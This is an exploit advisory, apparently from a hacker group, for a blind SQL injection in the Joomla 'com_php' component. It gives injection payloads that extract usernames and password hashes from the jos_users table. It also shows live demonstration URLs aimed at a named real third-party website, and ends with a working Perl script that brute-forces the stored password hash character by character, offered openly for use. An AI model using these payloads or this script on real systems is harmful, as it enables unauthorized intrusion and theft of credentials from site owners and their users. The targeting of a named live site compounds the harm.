------------------------------------------------------------------------------ Joomla Component com_php (id) Blind SQL-injection Vulnerability ------------------------------------------------------------------------------ ##################################################### # [+] Author : Chip D3 Bi0s # # [+] Email : chipdebios[alt+64]gmail.com # # [+] Vulnerability : Blind SQL injection # # [+] Group : LatinHackTeam # ##################################################### ********************************************************************** Info Cms: * @name : PHP Component * @author : gabe@fijiwebdesign.com * @copyright : (c) fijiwebdesign.com * @license : http://www.fijiwebdesign.com/ * @dowloand : http://code.google.com/p/joomla-php/downloads/list ********************************************************************** Example: http://localHost/path/index.php?option=com_php&Itemid=x&id=y<Sql Code> x = number Itemid valid y = number id valid <Sql code>: table jos_users: +and+(select+1+from+jos_users+limit+0,1)=1 column password: +and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1 column username: +and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1 caracter ascii +and+ascii(substring((SELECT+concat(password)+from+jos_users+limit+0,1),1,1))>57 etc, etc... DEMO LIVE: http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+1=1 true http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+1=2 else http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+ascii(substring((SELECT+concat(password)+from+jos_users+limit+0,1),1,1))=58 else http://www.mercadominas.com.br/index.php?option=com_php&Itemid=70&id=131+and+ascii(substring((SELECT+concat(password)+from+jos_users+limit+0,1),1,1))=57 true note : in http://www.mercadominas.com.br x = number Itemid valid : 70 y = number id valid : 131 Date and 1=1 & not and 1=2 : com_search --->use script etc, etc.... +++++++++++++++++++++++++++++++++++++++ #[!] Produced in South America +++++++++++++++++++++++++++++++++++++++ if you want to save the work, you can use the following script, gives you password, you are free to modify it ;) -------------------------------------------------------------------- #!/usr/bin/perl -w use LWP::UserAgent; print "\t\t-------------------------------------------------------------\n\n"; print "\t\t | Chip d3 Bi0s | \n\n"; print "\t\t Joomla Component com_php (id) Blind SQL-injection \n\n"; print "\t\t-------------------------------------------------------------\n\n"; print "[-] http://wwww.host.org/Path: "; chomp(my $target=<STDIN>); print "[-] Introduce Itemid: "; chomp($itemid=<STDIN>); print "[-] Introduce id: "; chomp($id=<STDIN>); print "[-] Dato para and 1=1 & no para and 1=2 : "; chomp($z=<STDIN>); print "[+] Password: "; $column_name="concat(password)"; $table_name="jos_users"; $b = LWP::UserAgent->new() or die "Could not initialize browser\n"; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); for ($x=1;$x<=32;$x++) { for ($c=48;$c<=57;$c++) { $host = $target . "/index.php?option=com_php&Itemid=".$itemid."&id=".$id."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c; my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $z; if ($content =~ /$regexp/) {$char=chr($c); print "$char";} } for ($c=97;$c<=102;$c++) { $host = $target . "/index.php?option=com_php&Itemid=".$itemid."&id=".$id."+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+limit+0,1),".$x.",1))=".$c; my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $z; if ($content =~ /$regexp/) {$char=chr($c); print "$char";} } }